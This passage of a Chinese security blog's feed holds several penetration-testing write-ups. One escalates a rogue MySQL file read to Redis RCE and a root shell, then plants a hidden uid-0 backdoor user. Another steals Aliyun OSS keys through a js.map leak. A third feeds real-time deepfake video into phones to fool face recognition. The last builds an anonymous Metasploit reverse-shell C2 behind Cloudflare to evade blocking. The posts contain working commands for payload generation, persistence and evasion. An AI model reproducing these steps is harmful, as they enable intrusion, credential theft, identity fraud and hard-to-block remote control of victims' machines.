test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true#

然后在数据源里面填好我们通过 rmb122/rogue_mysql_server 项目启动的假的 MySQL 的服务器信息:

尝试读取 /etc/shadow 居然都成功的,看来权限很高呀:

既然是高权限的文件读取,我们可读的文件就灵活很多了:

翻阅文件

在只有文件读取权限的情况下,不知道敏感文件的具体路径,这个时候就有点盲人摸象的感觉,全靠运气和细致的信息收集了:

/root/ .bash_history

翻一下 root 用户敲的命令是一个很常见实用的思路,我们来康康到底有啥,我们定位到了一个 yml 的配置文件和另一个 139 开头的服务器信息:

可惜通过文件读取 SSH 相关的敏感信息,该服务器并不是通过公私钥来进行 SSH 远程控制 139 服务器的,所以我们没法直接去接管 139 服务器,只能想办法看看这个 application-dev.yml 的文件内容了。

root/deploy/deploy.sh

通过 .bash_history 历史命令记录:

提取关键信息如下:

cdlscd deploylsll./deploy.sh es dev

所以可以反推出 deploy.sh 的绝对路径信息为:

/root/deploy/deploy.sh

脚本审计

通过读取 /root/deploy/deploy.sh 的内容,我们需要来确定好 yml 配置文件的路径:

提取关键信息如下:

#判断参数个数if [ $# != 2 ]; thenecho "参数个数不正确 请输入 1.项目(es,ts) 2.环境(dev,sit,uat,prd)"exit 1fi# 定义变量basePath=~/deploymainClass=App# 获取参数app=$1env=$2# 判断参数是否正确if [ "$app" != "es" ] && [ "$app" != "ts" ]; then    echo "请输入正确的参数:es 或 ts"    exit 1fiif [ "$env" != "dev" ] && [ "$env" != "sit" ] && [ "$env" != "uat" ] && [ "$env" != "prd" ]; then    echo "请输入正确的参数:sit 或 uat 或 prd"    exit 1fi# 启动echo "启动"cd $basePath/$app/nohup java -Xms1024m -Xmx4096m -Dlogback.configurationFile=$basePath/$app/logback.xml -classpath  "$basePath/lib/*:$basePath/$app/df-$app.jar" com.skyon.$mainClass --spring.config.location=$basePath/$app/application-$env.yml 2>&1 &

所以可以推测出 application 相关的配置文件有以下几个可能:

  • /root/deploy/es/application-dev.yml
  • /root/deploy/es/application-sit.yml
  • /root/deploy/es/application-uat.yml
  • /root/deploy/es/application-prd.yml
  • /root/deploy/ts/application-dev.yml
  • /root/deploy/ts/application-sit.yml
  • /root/deploy/ts/application-uat.yml
  • /root/deploy/ts/application-prd.yml

关键配置

上面有 8 种可能,期间读取失败了很多次,都是一些没敏感信息的配置文件:

这些无效信息并不能让我们继续深入下去,继续赌一把,继续读取看看,毕竟还有几个可能的路径没有尝试呢?

终于,这次赌对了,居然真的在一个 dev 配置文件里面读取了 139 服务器的 Redis 的密码,这个密码虽然被注释了,但是还是被我们发现了:

我们来连接看看,居然真的连接成功了:

运气开始好起来了:

Redis RCE

虽然 Redis 里面的超级管理员的密码是加密的:

但好在 Redis 是 5.0.3 低版本:

所以利用 https://github.com/Dliv3/redis-rogue-server 项目:

直接加载 exp.so 来命令执行,成功拿到 139 服务器的 root 权限:

权限维持

这个 Redis CLI 交互不是很方便,第一步直接反弹 tty shell 到外网服务器:

image-20240523094314349

添加一个 ibm2 密码为 P@ssw0rd 的 root 权限用户:

useradd -p `openssl passwd -1 -salt 'salt' P@ssw0rd` ibm2 -o -u 0 -g root -G root -s /bin/bash -d /home/guest

成功登录,进入内网:

新的内网渗透即将开始了,「新的风暴已经出现,怎么能够停滞不前。」好了,本文篇幅有限,接下来就不继续展开了:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>渗透测试是一个很考验知识面的工作,如果你的知识面不够广,可能就会错失一次 getshell 的机会,当然这些前提是你的信息收集要足够充分才行,所以还是那句话,渗透测试的第一步是信息收集。</p>
从 js map 泄露到接管 OSS 对象存储 https://www.sqlsec.com/2024/05/jsmap.html 2024-05-22T09:19:40.000Z 2024-05-23T00:12:22.000Z

现在 OSS对象存储应用广泛,但开发者安全意识普遍较低,方便之余的同时也会随之带来一些安全风险。虽然本文的场景不是那种 APP 或者源码里面硬编码泄露的 AK 和 SK ,敏感信息虽然都放在了后端服务器,但是还是一点点通过信息收集逐步沦陷。

全文简介

现在 OSS对象存储应用广泛,但开发者安全意识普遍较低,方便之余的同时也会随之带来一些安全风险。虽然本文的场景不是那种 APP 或者源码里面硬编码泄露的 AK 和 SK ,敏感信息虽然都放在了后端服务器,但是还是一点点通过信息收集逐步沦陷。

薄弱域名

对 xxx 小程序进行测试,发现未登录是没法交互的,现在很多小程序都是这样,不登录啥也看不到啊!

不过好在小程序这些解包还是很方便的,我们尝试解包分析小程序,居然发现了测试环境的域名信息:

image-20240521170900640

域名拓展

根据这个域名解析的 IP 使用 fofa 来搜索资产很快找到了这个小程序的一个后端网址信息:

image-20240521171057194

好家伙,还是需要登录才可以,我们又被拦在门外了!

前端泄露

但是作为一个专业的渗透测试工程师,是不能放过任意一个细节的,好消息我们真的发现了前段的 js.map 泄露文件:

image-20240521171411090

虽然被注释了,但是开发者真的没有删除哎:

image-20240521171821940

恢复源码

使用 reverse-sourcemap 项目:https://github.com/davidkevork/reverse-sourcemap

来恢复出 Vue 的源码,可以帮助我们进一步分析网站的一些后端接口:

代码审计

其实也不是严格的代码审计啦,就简简单单看看前端接口的一些逻辑。

代码审计发现系统应该是存在 OSS 上传服务的,所用的服务器是阿里云的 OSS,也找到了对应的接口信息:

OSS 的 KEY 和 Secret 推测是后端写死的,我们通过前端代码无法直接查看,存放 OSS 这些敏感配置的接口为: /Backend/Common/Common/uploadOssData 这和之前我们调试小程序,发现的敏感配置接口也对得上了:

image-20240521172324703

通过对 index.js 代码阅读审计,可知提交的数据包需要:timestamp、nonce 随机字符串和 sign 签名,其中 sign 签名就是上面几个条件的 md5 的大写:

接口交互

所以我们可以自己构造 POST 接口和这个 uploadOssData 接口交互:

image-20240521172444961

成功交互了,提示文件名称不能为空,但是尝试添加 file 和 filename 均失败了!

继续回到小程序调试部分,发现这个文件名参数应该可能就是 name !!!

获取配置

什么!我们居然真的成功和接口交互,拿到了阿里云OSS 非常关键的 access_key_id 和 access_key_secret 了!

其中还有 STS Token ,这是一个具有时效性的 key,这里返回的信息默认是被转义了,我们手动将 \/ 替换成 / 即可。

接管存储

使用阿里云官方的 OSS 浏览器:

成功接管了很多个对象存储 bucket,这样 OSS 里面的文件均可以增删改查:

信息收集

发现上海的 ECS 系统备份文件,大小为 18GB 多 :

还有一些数据库相关文件:

以及一些生产服务器的日志相关文件:

image-20240521173321876

深入利用

其实这里没法深入利用了,但是正常情况下我们一般是需要试试看阿里云的 OSS Key 是不是可以顺便接管服务器,因为正常开发者没有遵循权限最小化原则,往往是不会单独给 OSS 配置最小化的 AK 和 SK 的,大多数情况下都是可以成功的,国光我也历史上使用这个方法接管了不少阿里云服务器。

因为我们这里的 OSS Key 还有 STS Token,所以传统的行云管家等工具是没法直接测试利用的。最后国光这里使用

https://github.com/iiiusky/alicloud-tools 项目来尝试深入利用:

可以正常交互查询:

只不过泄露的 SAK ,SSK 以及 STS Token 居然真的遵循了最小化原则,并没有 ECS 服务器收到牵连:

好的本次渗透测试就到此结束了,虽然没有直接接管到服务器,但也是一个经典的信息收集逐步深入的素材了,就发公众号分享给大家把,就这样,溜了溜了。

对了,对渗透感兴趣的出学者们,欢迎扫描了解一下文章中最下面的安全课程哦~

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>现在 OSS对象存储应用广泛,但开发者安全意识普遍较低,方便之余的同时也会随之带来一些安全风险。虽然本文的场景不是那种 APP 或者源码里面硬编码泄露的 AK 和 SK ,敏感信息虽然都放在了后端服务器,但是还是一点点通过信息收集逐步沦陷。</p>
AI 对抗研究之「实时换脸」 https://www.sqlsec.com/2024/05/aiface.html 2024-05-20T01:27:03.000Z 2024-05-23T00:01:08.000Z

AI 近几年发展很快啊,我们作为安全从业者当然也需要不断学习,未知攻,焉知防,所以本文就来带大家手把手的使用 AI 实时换脸,然后将换脸后的画面输出给 APP 摄像头。

背景介绍

随着显卡算力和 AI 技术的发展,现在很多直播技术已经用到了实时换脸技术了,甚至有些 AI 换脸技术已经可以突破一些 APP 的人脸识别接口了,这也是我们安全从业者需要关注的事情。

未知攻,焉知防,所以本文就来带大家手把手的使用 AI 实时换脸,然后将换脸后的画面输出给 APP 摄像头。

准备环境

本文是在 Windows 环境下演示的,所涉及到的系统和硬件细节如下:

  • 操作系统:Windows 11
  • 硬件:i5-13600K + RTX 3090 显卡 + CUDA 等环境
  • 录屏与推流: OBS (Open Broadcaster Software)
  • Andorid 环境:Magisk 面具 + LSPosed + VCAMSX 模块

台式机接入摄像头

Android 配置

如果你是笔记本电脑的话,默认是自带摄像头的,也可以跳过这一节,直接看下面的内容。如果你是台式机电脑或者要追求更高清摄像头的话,那么本小节内容可以供你参考一下。

本次电脑使用 Android 摄像头我们借助的是 DroidCam 软件,官网地址为:

https://www.dev47apps.com/

软件使用很简单,默认对局域网开放出 4747 的端口:

Windows 配置

Windows 安装好 OBS (Open Broadcaster Software) ,直接下载对应的 OSB 插件即可,插件的官方项目下载地址为:

https://github.com/dev47apps/droidcam-obs-plugin/releases

使用效果演示

安装好 OSB 插件后,在 OBS 里面新建场景,手动添加 DroidCam OBS 来源,配置好 Android 的 DroidCam 的 IP 和端口采集到 Android 摄像头的画面:

当然为了追求稳定性这里也是可以直接使用 USB 来传输摄像头画面的:

DeepFaceLive 使用

软件下载

DeepFaceLive 是一个非常有吗的开源实时 AI 换脸的软件,官方的项目地址为:

https://github.com/iperov/DeepFaceLive

不过官方给的下载地址都是用的国外的云盘,我们国内下载还是很慢的,所以国光这里提供了国内的百度云盘的下载地址:

https://pan.baidu.com/s/1zyA4PwPAJbCVnCYOElVZrg?from=init&pwd=26vd

输入视频

DeepFaceLive 可以实时从文件里面导入视频换脸也支持导入摄像头,我们需要 OBS 采集 DroidCam 后开启虚拟摄像头:

然后 DeepFaceLive 里面的相机源选 OBS 的虚拟摄像头即可成功采集到手机摄像头的画面:

照片换脸

使用 DeepFaceLive 里面的 Face swap 模块可以选择对应的照片来简单的换脸,下面是使用马斯克的效果:

模型换脸

当然,照片的维度比较少,为了追求更逼真的换脸效果,我们这个时候就需要使用 DFM 模型数据来换脸了,下面是使用模型换脸的效果:

是不是看起来更像马斯克了呢?不过由于这个模型本身训练的时候没考虑到眼镜效果,所以戴眼镜的实际要差点意思。

视频替换摄像头

我们先使用录制好的视频来替换摄像头做一个概念验证,如果成功的话就可以考虑将换好的人脸实时替换到手机里面了。

Andorid 这里要替换摄像头只有虚拟摄像头的思路,我们使用下面的 Xposed 模块的开源项目来实现:

Github - 安卓虚拟摄像头

使用也很简单,Lposed 开启模块后,选择要 Hook 的 APP 然后重启手机即可生效,我们可以选择本地的视频来简单测试一下:

效果视频截图:

推流配置

既然 Windows 电脑这边可以实时换脸了,Android 这边也可以理论上使用虚拟摄像头替换真实的摄像头,所以接下来就得想办法让 Windows 换脸后的画面实时推给 Android 手机了。好在 VCAMSX 模块支持 RTMP 视频流,所以我们就需要手动搭建推流服务来传输画面给手机了。

RTMP 服务搭建

推流服务搭建很简单,使用 Docker 可以一条命令搭建完成:

docker run -d -p 1935:1935 --name nginx-rtmp tiangolo/nginx-rtmp

使用默认的 1935 端口即可:

OBS 设置画布

因为 OBS 不支持多个场景使用不同的画布大小,所以我们需重新再开一个 OBS 来设置成手机的竖屏画布大小:

DFL 设置

DeepFaceLive 里面将视频流输出选择「合成后的画面」,这个时候会单独有一个窗口来显示合成后的人脸:

OBS 录制屏幕

接下来当然是使用 OBS 进行区域设置截取合成后的人脸画面内容:

OBS 直播推流

OBS 的直播里面设置自定义推流服务,地址就填写我们上面使用 Docker 搭建的 RTMP 服务即可:

接下来点击开始直播即可将画面推送给 RTMP 服务:

我们可以使用支持流的播放器测试看看,国光下面使用的 macOS 下的 IINA 进行 RTMP 播放测试:

可以成功播放:

直播替换摄像头

最后一步当然就是使用 VCAMSX 填写好我们的 RTMP 直播链接,然后测试一下:

接着最后打开我们 Hook 的 APP,下面以美颜相机为例,可以看到成功劫持了摄像头,而且顺便把马老师给美颜了一下:

完整的视频可以参考:https://www.alipan.com/s/4pUGmSZpY83

或者网站直链观看(可能有点慢):

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>AI 近几年发展很快啊,我们作为安全从业者当然也需要不断学习,未知攻,焉知防,所以本文就来带大家手把手的使用 AI 实时换脸,然后将换脸后的画面输出给 APP 摄像头。</p>
ARM MacBook 中如何优雅的调试 Android APP https://www.sqlsec.com/2024/03/mumu.html 2024-03-08T03:35:27.000Z 2024-05-28T01:55:58.000Z

理论上作为 ARM 架构的 MacBook 在运行 Android 系统的时候应该会更丝滑的,但是各大模拟器厂商一直都没有很好的适配做出对应的产品,直到今年年初的时候网易的 mumu 模拟器出了 mumu 模拟器 pro,专门针对苹果 M 芯片进行优化的专属模拟器,实际体验整体真的非常丝滑呀,国光测试效果比真机还棒。

模拟器选择

理论上作为 ARM 架构的 MacBook 在运行 Android 系统的时候应该会更丝滑的,但是各大模拟器厂商一直都没有很好的适配做出对应的产品,直到今年年初的时候,网易的 mumu 模拟器出了 mumu 模拟器 pro,专门针对苹果 M 芯片进行优化的专属模拟器,实际体验整体真的非常丝滑呀,国光测试效果比真机还棒:

破解版下载

但是可能是目前这个 M芯片模拟器垄断的原因,这模拟器目前用户只能 7 天免费试用,也不支持买断制,只能按时间来付费:

但是目前这产品还是早期,破解版本民间也有流传:

关注公众号后,回复 mumu 即可获取破解版的下载链接。

抓包调试

磁盘模式

模拟器的硬盘切换成 可写系统盘 模式:

alt text

如果使用 adb devices 查看不到模拟器设备的话,我们可以手动开启一下 ADB:

alt text

这会开启一个局域网的 adb 连接,我们可以使用 connect 和 disconnect 连连接断开模拟器:

alt text

导入证书

然后 macOS 下将 burp 的 cacert.der 证书转换一下格式,然后导入到手机 system 证书文件夹下:

# cer 证书转为 pem 证书openssl x509 -inform DER -in cacert.der -out cacert.pem# 获取证书的 hash 值hash=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -n 1)# 将 pem 证书改成 hash + .0 的格式new_hash="${hash}.0"mv cacert.pem "$new_hash"  # 将证书直接放到系统证书文件夹下adb push "$new_hash" /system/etc/security/cacerts/

抓包测试

BP 开启局域网监听,然后将模拟器的代理指向 BP 的监听端口:

alt text

找个开启 SSL 的网站抓包测试看看,成功抓包:

alt text

Hook 测试

frida 测试

frida 官方项目的 releases 下截止目前最新的 arm 架构的 frida-server-16.2.1-android-arm64 包,然后使用 adb push 到模拟器里:

adb push frida-server-16.2.1-android-arm64 /data/local/tmp/

然后手机端直接运行 frida server,这里为了稳定建议模拟器里面安装个 Termux 终端模拟器。首先使用 su 命令申请并切换 root 权限:

alt text

然后手动给 frida server 执行权限并运行:

chmod +x /data/local/tmp/frida-server-16.2.1-android-arm64/data/local/tmp/frida-server-16.2.1-android-arm64

alt text

使用 frida-ls-devices 查看模拟器的连接类型为 USB 类型,我们也可以正常与模拟器进行 hook 测试:

alt text

实战效果

经过几天的深度测试,在使用 frida baria 去调试一些流量加密的金融类的 APP 时候,比真机流畅多了,以后妈妈再也不用担心我挖不到 APP 的漏洞啦:

而且也可以直接调用 Macbook 或者 iPhone 的摄像头来进行人脸识别验证:

点评一下

目前 MuMu模拟器Pro 除了目前无法安装 Magisk 面具以外,其他基本上是可以满足我们大部分的日常安全测试了,甚至某些方面比我的 OnePlus 6 真机还要丝滑流畅,总之是一个值得安装的模拟器。

面具安装

如果模拟器安装面具的话,玩法还会更丰富一点,正好近期 mumu 模拟器更新后支持安装面具了,公众号留言里面也看到不少网友们求相关的教程,所以国光我这篇文章也就诞生了。

卸载残留

之前如果安装老版本的模拟器,或者 mumu 模拟器打开闪退的用户,建议使用 App Cleaner & Unistaller 卸载干净了,这样避免出现一些不好解决的玄学问题:

最终本文所使用演示是上次分享的 MuMu 模拟器 1.4.11 版本:

基本配置

首先在设置里面将模拟器设置为「可写系统盘」模式:

当然也要开启 root 权限:

Kitsune Mask

直接使用官方的面具我们大概率是无法直接安装成功的,所以这里使用 Kitsune Mask 这种第三方为模拟器适配的面具:

官网项目地址为:HuskyDG/magisk-files (github.com)

安装面具

Kitsune Mask 安装好直接使用「直接安装 (直接修改 /system)」方式即可:

安装完成后,因为模拟器里面的软件无法正常调用系统重启,这里安装好后如下图,我们手动重启一下模拟器:

修复异常

重启后发现提示 su 文件冲突了,我们需要手动修复一下异常:

其实原理很简单,使用 root 权限删除之前冲突的 su 相关文件即可,我们这里直接使用 adb 连接使用 root 身份操作:

adb connect 127.0.0.1:5555adb shellsu

macOS 下如果没有 adb 命令的话,那么使用 brew 手动安装一下 adb 命令即可:

切换 root 权限后,我们手动将之前冲突的 su 相关文件直接备份一下:

mv /system/xbin/su /system/xbin/su.bakmv /system/app/SuperUser/ /system/app/SuperUser-Bak/

备份后的效果如下:

最终效果

最终我们的 Magisk 不报错了:

各功能也正常使用,支持 root 权限管理以及工作模块的安装:

好了时间有限,具体国光就不再啰嗦了,感兴趣的师傅还不抓紧试试看。

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>理论上作为 ARM 架构的 MacBook 在运行 Android 系统的时候应该会更丝滑的,但是各大模拟器厂商一直都没有很好的适配做出对应的产品,直到今年年初的时候网易的 mumu 模拟器出了 mumu 模拟器 pro,专门针对苹果 M 芯片进行优化的专属模拟器,实际体验整体真的非常丝滑呀,国光测试效果比真机还棒。</p>
无公网 IPv4 云主机上线对方电脑 https://www.sqlsec.com/2023/11/ipv6.html 2023-11-08T09:19:40.000Z 2024-05-23T00:02:32.000Z

从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。

前言介绍

我国也正在积极推广普及 IPv6 技术,个人家庭光猫基本上都是支持 IPv6 的,IPv6 我们可以理解为一个公网 IP,由于 IPv6 资源数量非常庞大,足够保障我们的家庭每个设备都有自己的公网 IPv6 地址,这一切预示着万物互联的时代即将到来,从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。

但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。

方案草图

整体方案实现其实不难,最主要的就是下面两个知识点:

  1. IPv6 DDNS 解析到指定域名
  2. 借助 Coudflare 内部的 CDN 代理将 IPv6 流量转到 IPv4

准备工作

总的来说就是下面两个步骤即可:

  1. 安装好带 IPv6 地址的 Ubuntu 一台
  2. 接入好 Cloudflare 的域名一个

检查 IPv6 网络

准备一个没有公网 IPv4 地址,但是存在公网 IPv6 地址的 Ubuntu 系统一个,正常家用的主机基本上是满足上述要求的:

安装 Metasploit

MSF 是经典的 C2 工具,其他的 C2 工具基本上线原理仿造一下即可,我们先来手动来安装一下 Metasploit:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \  chmod 755 msfinstall && \  ./msfinstall

创建 CF 的 API 令牌

为了保持权限最小化原则,我们这里只创建一个修改 itermux 域名的 DNS 权限 API 令牌:

安装部署 DDNS-GO

DDNS-GO 的官方项目地址为:https://github.com/jeessy2/ddns-go

DDNS-GO 的作用是将公网地址解析到各大云厂商的域名上。下载好 DDNS-GO 参考官方文档安装一下即可:

sudo ./ddns-go -s install

接着访问服务器的 9876 端口即可打开 DDNS-GO 的配置页面,首先填写我们的 CF 的 API Token:

最后配置一下要 IPv6 对应解析的域名即可:

通过 DDNS-GO 的日志可以看到 msf.itermux.com 域名成功解析到了我们的公网 IPv6 地址:

配置 Cloudflare

因为当前默认域名解析的是 IPv6 地址,IPv4 设备是无法访问到我们的域名的,为此我们需要手动开启 CF 的代理,借助 CF 将域名转换成 IPv4 也可以访问的 IP 地址:

然后手动关闭一下 CF 的 SSL 加密:

验证连通性

首先在服务器上借助 Python3 监听一个 IPv6 的 80 端口:

python3 -m http.server 80 --bind ::

然后直接访问我们的 msf.itermux.com 域名测试成功访问:

操作细节

既然上述操作跑通的话,那么下面直接来尝试一下 MSF 上线吧。后续的操作就比较简单常规了,我们很快的来过一下:

生成 Payload

我们使用 meterpreter_reverse_http的 Payload,HOST 填写我们的 IPv6 地址 DDNS 的域名 msf.itermux.com,端口就填写 80 端口:

msf6 > use payload/windows/x64/meterpreter_reverse_httpmsf6 > set LHOST msf.itermux.commsf6 > set LPORT 80

然后直接在 msfconsole 控制台里面使用 generate 生成 Windows exe 木马文件:

msf6 payload(windows/x64/meterpreter_reverse_http) > generate -f exe -o shell.exe[*] Writing 208384 bytes to shell.exe...

监听会话

这里监听的细节是 set LHOST :: 表示监听本地的 IPv6 地址:

msf6 > use exploits/multi/handlermsf6 > set payload windows/x64/meterpreter_reverse_httpmsf6 > set LHOST ::msf6 > set LPORT 80

上线效果

运行 shell.exe 后既上线成功,通过 netstat 命令查看,可以看到多个上线的会话连接,这些外连 IP 均为 Cloudflare 的 CDN IP,蓝方防守的话封是封不完,而且不敢封的,因为国内很多大型网站可能也用的是 Cloudflare。

MSF 的上线记录效果如下,可以看到 CF 的 CDN IPv6 服务器和本地的 IPv6 交互的记录:

方案总结

  1. 以后上线别人的话,不用买云服务器了,连接 SIM 热点或者直接使用家用光猫有 IPv6 地址就行
  2. IPv6 还在普及中,监管方面也比较弱,且 IPv6 也是动态的,很灵活
  3. Cloudflare 的 CDN 外连 IP 蓝方不敢轻易封禁,因为国内很多大厂也用的 Cloudflare 的 CDN
  4. Cloudflare 的 CDN 是多种多样的,封一个两个也封不完的
  5. Cloudflare 的域名接入也不需要实名操作,理论上是可以做到完全匿名的渗透上线的

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。</p>
国光的 macOS Ventura 13 软件清单 https://www.sqlsec.com/2023/09/softmac.html 2023-09-19T07:34:26.000Z 2024-05-23T00:02:48.000Z

